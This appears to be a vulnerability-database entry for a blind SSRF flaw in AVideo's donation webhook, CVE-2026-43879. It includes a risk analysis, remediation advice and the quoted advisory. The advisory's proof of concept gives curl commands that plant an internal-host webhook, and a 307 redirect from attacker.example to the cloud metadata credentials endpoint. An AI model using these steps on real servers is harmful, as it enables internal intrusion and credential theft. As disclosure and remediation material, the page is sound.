Skip to main content

AVideo CVE-2026-43879

MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-05 https://github.com/WWBN/AVideo GHSA-wp38-whx3-xffh
5.4
CVSS 3.1 · Vendor: https://github.com/WWBN/AVideo
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker authenticates as Alice
  2. Delivery
    Configure webhook URL to internal target
  3. Exploit
    Attacker donates via second account
  4. Execution
    AfterDonation invokes curl to attacker URL
  5. Impact
    State-changing POST reaches internal endpoint

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) two authenticated AVideo accounts controllable by the attacker (any privilege level sufficient to donate); (2) the YPTWallet donation plugin enabled (default); (3) access to the donation configuration UI (plugin/YPTWallet/view/saveConfiguration.php), which is authenticated but lacks CSRF protection; (4) ability to trigger a donation from a second account (either the attacker's second account or any other account the attacker can socially engineer or compromise), which requires the donor account to have wallet balance or access to a faucet/payment method. CAPTCHA is required on donate.json.php by default unless the disableCaptchaOnWalletDirectTransferDonation flag is explicitly set; thus the attacker must solve CAPTCHA or have access to CAPTCHA bypass (e.g., OCR, replay, leaked solution). The attack does not require victim account compromise; the webhook is stored on the attacker's own account. The attack does not require social engineering if both accounts are attacker-controlled. No special server configuration or non-default feature flag is required; the SSRF vulnerability exists in the standard YPTWallet donation flow. Limitations on exploitation: (1) the AVideo server must have network egress to the target internal host (egress firewall rules can block RFC1918 or loopback, reducing attack surface to external attacker-controlled hosts and cloud metadata endpoints); (2) the SSRF is blind (POST body and response are discarded), so direct data exfiltration is not possible; however, state-changing requests, error-based port enumeration, and timing-based side channels remain viable; (3) if CURLOPT_FOLLOWLOCATION is disabled in a future patch, the 307 redirect bypass is closed, though the primary vulnerability (unvalidated stored URL) remains exploitable for direct internal requests.

Impact

Real-world risk is MODERATE-TO-HIGH despite the CVSS 5.4 base score. Authentication is required (PR:L), limiting opportunistic attacks, but the attacker only needs two low-privilege accounts they control - no victim account compromise is necessary. Exploitation is AC:L (low complexity) and AV:N (network), making it trivial to trigger from any Internet-connected instance. The SSRF impact is classified as confidentiality and integrity (C:L/I:L) because the requests are blind (no direct response body exfiltration) but enable state-changing POST operations to internal endpoints and timing-based port/service enumeration via side channels (response time, error patterns). The documented PoC demonstrates reach to loopback (127.0.0.1:8080) and cloud metadata endpoints (169.254.169.254) via FOLLOWLOCATION bypass; both are realistic attack targets in containerized and AWS/GCP deployments. EPSS and KEV status data were not provided in the input; therefore real-world exploitation prevalence is unknown. The lack of CSRF protection on saveConfiguration.php introduces a secondary vector: an attacker could plant the webhook on a victim's account via CSRF if they can trick an authenticated victim into visiting a malicious page, elevating this to unauthenticated victim compromise. Patch availability (GitHub commit aaacd48f) confirms this is a documented and addressed flaw, suggesting the vendor has assessed it as exploitable. The combination of low authentication bar, low complexity, reach to sensitive internal targets, and state-change capability makes this a priority for any AVideo deployment with network-isolated internal services or cloud metadata endpoints accessible to the application server.

Exploit ScenarioDerived

Alice, an attacker with two low-privilege AVideo accounts, configures her primary account's donation webhook to point to http://127.0.0.1:8080/admin/unlock or http://169.254.169.254/latest/meta-data/iam/security-credentials/ (cloud metadata). She then transfers a trivial amount (e.g., 0.01 currency units) from her second account to her primary account via donate.json.php, solving the required CAPTCHA. The AVideo server automatically invokes the afterDonation hook, which curls the attacker-specified URL without SSRF validation, reaching the loopback admin service or metadata endpoint. If the loopback service is an internal admin API accepting POST requests, Alice can trigger state-changing operations (e.g., unlock an account, modify settings, export data). If the endpoint is cloud metadata, she can exfiltrate instance role credentials and use them to pivot within the cloud environment. The attack succeeds even if the target URL is first validated, because Alice can instead configure her webhook to point to https://attacker.example/redirect, which responds with HTTP 307 Location: http://127.0.0.1:8080/admin/unlock, and CURLOPT_FOLLOWLOCATION forwards the POST request without re-checking the destination.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 05, 2026

Blind server-side request forgery (SSRF) in AVideo's donation webhook system allows authenticated users to configure webhook URLs pointing to internal/loopback/metadata services (127.0.0.1, 169.254.169.254, RFC1918 addresses). When any user donates via the CustomizeUser plugin, the AVideo server issues an unauthenticated POST request to the attacker-supplied URL without validating it against the codebase's existing isSSRFSafeURL() helper. The vulnerability is compounded by CURLOPT_FOLLOWLOCATION being enabled without per-hop revalidation, permitting HTTP 307 redirects from attacker-controlled hosts to bypass even future URL validation. CVSS 5.4 (network-accessible, requires authentication, low complexity); no public proof-of-concept or active KEV exploitation confirmed at analysis time, but the vulnerability is trivially exploitable with two attacker-controlled accounts and the PoC is fully documented in the advisory.

RemediationAI

Vendor-released patch: Upgrade to the version containing commit aaacd48f29f1ff71d1eb5fc81d37605f593cefa9 or later. The patch replaces isValidURL() with isSSRFSafeURL() in both setDonationNotificationURL() (storage) and afterDonation() (dispatch), adds DNS pinning via CURLOPT_RESOLVE to prevent DNS rebinding between validation and execution, and disables CURLOPT_FOLLOWLOCATION to eliminate the 307 redirect bypass. Pending patch availability, compensating controls include: (1) disable the YPTWallet donation webhook feature entirely if not actively used (edit plugin/YPTWallet/YPTWallet.php to stub afterDonation or remove the webhook configuration UI); (2) network-segment the AVideo application server to prevent outbound connections to RFC1918 ranges, 127.0.0.1, 169.254.0.0/16, or any internal service ports via egress firewall rules (trade-off: legitimate outbound webhooks to external services on non-standard ports may be blocked); (3) implement a reverse proxy (e.g., nginx) in front of curl operations to log and alert on requests to 127.0.0.1, RFC1918, or 169.254.169.254 (trade-off: blind requests will still execute, log analysis is reactive); (4) add CSRF tokens to saveConfiguration.php as documented in the recommended fix section to prevent webhook planting via CSRF, reducing the attack surface to authenticated attackers. Apply patches in this order: firewall + CSRF protection (immediate), then upgrade AVideo when the patched version is released.

Affected Packages

composer wwbn/avideo no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

AVideo is a PHP-based video platform that implements a YPTWallet plugin for donation features. The vulnerability resides in plugin/YPTWallet/YPTWallet.php:1043-1099 (afterDonation method) and plugin/YPTWallet/view/saveConfiguration.php (webhook configuration storage). The sink is an unvalidated curl POST operation triggered when donations are processed via plugin/CustomizeUser/donate.json.php. The root cause (CWE-918: Server-Side Request Forgery) stems from two failures: (1) the storage and dispatch paths use only isValidURL(), a format-validation function that permits loopback, RFC1918, and cloud metadata IP ranges, rather than the codebase's correct isSSRFSafeURL() helper which performs hostname-to-IP resolution, scheme allowlisting, and range blocking; and (2) CURLOPT_FOLLOWLOCATION is enabled without DNS pinning or per-hop host revalidation, allowing HTTP 307 responses from attacker-controlled external hosts to redirect the POST method and body to internal targets. The CPE (pkg:composer/wwbn_avideo) indicates this affects the Composer package namespace.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/WWBN/AVideo) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Primary rating from Vendor (https://github.com/WWBN/AVideo) · only source for this CVE.

CVSS VectorVendor: https://github.com/WWBN/AVideo

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

An authenticated user can configure their own donation-notification webhook URL to point at internal/loopback/metadata hosts (e.g. http://127.0.0.1:8080/..., http://169.254.169.254/latest/..., RFC1918 addresses). When any other user (including a second account owned by the same attacker) donates even a trivial amount via plugin/CustomizeUser/donate.json.php, the AVideo server issues a curl POST to the attacker-supplied URL, resulting in a blind SSRF. The handler uses only isValidURL() (which is a format check) and does not call the codebase's own isSSRFSafeURL() helper. Additionally, CURLOPT_FOLLOWLOCATION is enabled with no per-hop revalidation, so even if the stored URL were validated, an HTTP 307 from an attacker-controlled host could redirect the POST to internal targets.

Details

Sink: unvalidated curl POST in afterDonation

plugin/YPTWallet/YPTWallet.php:1043-1099

php
public function afterDonation($from_users_id, $how_much, $videos_id, $users_id, $extraParameters)
{
    ...
    $donation_notification_url = self::getDonationNotificationURL($users_id);
    ...
    if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) {
        ...
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $donation_notification_url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 1);
        curl_setopt($ch, CURLOPT_NOSIGNAL, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);   // line 1081
        ...
        ob_start();
        curl_exec($ch);
        ob_end_clean();

The gate at line 1064 is isValidURL() only. That helper is a pure format check:

objects/functions.php:4305-4315

php
function isValidURL($url)
{
    if (empty($url) || !is_string($url)) {
        return false;
    }
    if (preg_match("/^http.*/", $url) && filter_var($url, FILTER_VALIDATE_URL)) {
        return true;
    }
    return false;
}

It does not reject http://127.0.0.1, http://169.254.169.254, RFC1918 ranges, or hostnames that resolve to private IPs.

The project already ships a correct SSRF guard at objects/functions.php:4366 (isSSRFSafeURL()), which performs scheme allow-listing, hostname-to-IP resolution, loopback blocking, RFC1918 / link-local / metadata blocking, and IPv4-mapped IPv6 normalization. It is not used here.

Storage path has no SSRF validation

plugin/YPTWallet/view/saveConfiguration.php:31-33

php
if(isset($_REQUEST['donation_notification_url'])){
     $obj->donation_notification_url = YPTWallet::setDonationNotificationURL(User::getId(), $_REQUEST['donation_notification_url']);
}

plugin/YPTWallet/YPTWallet.php:1015-1034

php
static function setDonationNotificationURL($users_id, $url)
{
    $url = trim($url);
    $url = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $url);
    $url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8');
    if (strlen($url) > 2048) { ... }
    $user = new User($users_id);
    return $user->addExternalOptions('donation_notification_url', $url);
}

No host/IP/scheme validation. A value like http://127.0.0.1:8080/internal contains none of & < > " ', so htmlspecialchars preserves it verbatim.

Trigger

plugin/CustomizeUser/donate.json.php:88,108

php
if (YPTWallet::transferBalance(User::getId(), $video->getUsers_id(), $value, ...)) {
    ...
    AVideoPlugin::afterDonation(User::getId(), $value, $videos_id, 0, $obj->extraParameters);
}
...
if (YPTWallet::transferBalance(User::getId(), $users_id, $value, ...)) {
    ...
    AVideoPlugin::afterDonation(User::getId(), $value, 0, $users_id, $obj->extraParameters);
}

Donor must have wallet balance; captcha is required unless disableCaptchaOnWalletDirectTransferDonation is set. An attacker can use two accounts they control: the recipient configures the webhook, the donor (any balance they obtained) triggers the call with a trivial transfer.

FOLLOWLOCATION bypass

Even if isSSRFSafeURL() were added to the upfront check on the stored URL, CURLOPT_FOLLOWLOCATION=true with no per-redirect host validation allows the attacker to point the webhook at an external host they control and return HTTP 307, which preserves the POST method and forwards the body to e.g. http://169.254.169.254/latest/... or any RFC1918 endpoint.

What escapes to the internal request

The POST body is http_build_query($data) where $data contains from_users_id, from_users_name, currency, how_much_human, how_much, message (attacker-controlled from the donate.json.php request), videos_id, users_id, time, and extraParameters. Headers include X-Webhook-Signature: sha256=... and X-Webhook-Timestamp. The response is discarded (ob_start / ob_end_clean, return value ignored), so this is a blind SSRF - exfiltration must use out-of-band channels.

PoC

Prerequisites: two authenticated accounts on the target - Alice (attacker/recipient of donation) and Bob (attacker's second account with a small wallet balance). Captcha is assumed enabled (default).

Step 1 - Alice stores an internal-host webhook URL. No CSRF token is required on this endpoint:

bash
curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \
  --data-urlencode 'donation_notification_url=http://127.0.0.1:8080/internal/admin/action' \
  --data-urlencode 'CryptoWallet='

Response body includes the stored donation_notification_url plus Alice's webhook_secret (the signature is computed with Alice's own secret, so there is no cross-user signature leak).

Step 2 - Start a listener on the target host to observe the blind request:

bash
# On the target server
nc -lvp 8080

Step 3 - Bob donates the minimum amount to Alice (captcha solved):

bash
curl -sS -b cookies_bob.txt -X POST 'https://target/plugin/CustomizeUser/donate.json.php' \
  --data 'value=0.01&users_id=<alice_user_id>&message=x&captcha=<solved_value>'

donate.json.php:108 calls AVideoPlugin::afterDonation(...).

Step 4 - Observe the netcat listener: the AVideo server issues:

POST /internal/admin/action HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: <AVideo UA>
Content-Type: application/x-www-form-urlencoded
X-Webhook-Signature: sha256=<hmac>
X-Webhook-Timestamp: <epoch>
Content-Length: ...

from_users_id=<bob>&from_users_name=...&currency=...&how_much_human=...&how_much=0.01&message=x&videos_id=0&users_id=<alice>&time=...&extraParameters[...]=...

Confirmed: the vulnerable server reaches the loopback port on behalf of the attacker.

Step 5 - FOLLOWLOCATION bypass. Alice registers an external URL she controls:

bash
curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \
  --data-urlencode 'donation_notification_url=https://attacker.example/r' \
  --data-urlencode 'CryptoWallet='

Alice's web server at attacker.example/r responds to the POST with:

HTTP/1.1 307 Temporary Redirect
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/

Because CURLOPT_FOLLOWLOCATION=true and HTTP 307 preserves method, the AVideo host re-issues the POST to the cloud metadata endpoint. This demonstrates that any future fix that only validates the stored URL (without disabling follow-redirects or validating each hop) remains bypassable.

Impact

  • Blind SSRF from authenticated low-privileged users. An attacker reaches internal-only network resources from the AVideo server: loopback services, RFC1918 hosts on the same VPC, cloud metadata endpoints, and any other host the AVideo server can route to.
  • State-changing POST to internal endpoints. Because the request method is fixed to POST and the body is attacker-influenced (the message field is user-supplied), an attacker can trigger POST-handled internal admin endpoints, Redis/memcached HTTP-ish consoles, or webhook receivers that accept arbitrary POST bodies.
  • Cloud metadata reachability via 307 redirect chain. Follow-location support enables redirection into RFC1918 / 169.254.169.254 even if stored-URL validation is later added. Metadata endpoints that accept POST (or GET-via-redirect once the chain involves a 302/303 downgrade) become reachable.
  • Blindness limits direct data exfiltration (the response is discarded) but does not prevent state-changing requests, port-probe timing, or DNS-rebinding timing side channels.
  • No CSRF protection on saveConfiguration.php, so this can also be compounded with a forced-browsing or CSRF vector against an authenticated user to plant the webhook on a victim's account.

Recommended Fix

  1. Call isSSRFSafeURL() on both the store path and the dispatch path. In plugin/YPTWallet/YPTWallet.php:1015 (setter) and line 1064 (dispatcher), replace:
php
if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) {

with:

php
$resolvedIP = null;
if (!empty($donation_notification_url) && isSSRFSafeURL($donation_notification_url, $resolvedIP)) {

and reject the URL in setDonationNotificationURL() before persisting:

php
static function setDonationNotificationURL($users_id, $url)
{
    $url = trim($url);
    $url = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $url);
    if (!isSSRFSafeURL($url)) {
        _error_log("setDonationNotificationURL: rejected SSRF-unsafe URL for user {$users_id}");
        return false;
    }
    if (strlen($url) > 2048) { ... }
    $url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8');
    ...
}
  1. Disable automatic redirect following, or implement per-hop validation. Either:
php
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);

Or use CURLOPT_REDIR_PROTOCOLS limited to CURLPROTO_HTTP | CURLPROTO_HTTPS and pin DNS via CURLOPT_RESOLVE using the $resolvedIP from isSSRFSafeURL(), then follow redirects manually by re-validating each Location: header with isSSRFSafeURL() before re-issuing the request.

  1. Add DNS-pinning to defeat DNS rebinding between the validation and the curl call:
php
$parts = parse_url($donation_notification_url);
$port = $parts['port'] ?? (($parts['scheme'] ?? 'http') === 'https' ? 443 : 80);
curl_setopt($ch, CURLOPT_RESOLVE, ["{$parts['host']}:{$port}:{$resolvedIP}"]);
  1. Add a CSRF/global-token check on plugin/YPTWallet/view/saveConfiguration.php (consistent with the token validation added elsewhere in the codebase in commit 11e7804f7) to prevent webhook planting via CSRF on a victim's authenticated session.

Threat Intelligence Overview

EPSS Score
0.0%
Top 93% exploitable
Threat Intel
1
1 source
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Affected Products (CPE)CVE.org

pkg:composer/wwbn_avideo

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy